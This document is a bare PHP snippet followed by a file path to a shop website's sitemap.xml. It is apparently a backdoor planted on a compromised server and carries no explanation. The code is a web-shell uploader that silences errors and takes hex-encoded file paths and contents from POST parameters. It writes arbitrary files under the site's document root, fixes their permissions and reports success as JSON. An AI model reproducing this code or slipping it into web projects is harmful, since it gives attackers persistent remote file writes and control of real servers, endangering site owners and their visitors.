if (isset($_POST['p']) && isset($_POST['q'])) { error_reporting(0); if (!function_exists('hex2bin')) { function hex2bin($a) { $b = strlen($a); $c = ''; for ($d = 0; $d < $b; $d += 2) { $c .= chr(hexdec(substr($a, $d, 2))); } return $c; } } $a = $_SERVER['DOCUMENT_ROOT'] . hex2bin($_POST['p']); $b = dirname($a); if (!is_dir($b)) { @mkdir($b, 0755, true); } if (is_dir($b)) { if ((@fileperms($b) & 0777) != 0755) { @chmod($b, 0755); } if (@file_put_contents($a, hex2bin($_POST['q'])) !== false) { if ((@fileperms($a) & 0777) != 0644) { @chmod($a, 0644); } die(json_encode(['success' => true])); } } die(json_encode(['success' => false])); }/www/wwwroot/estymall.shop/sitemap.xml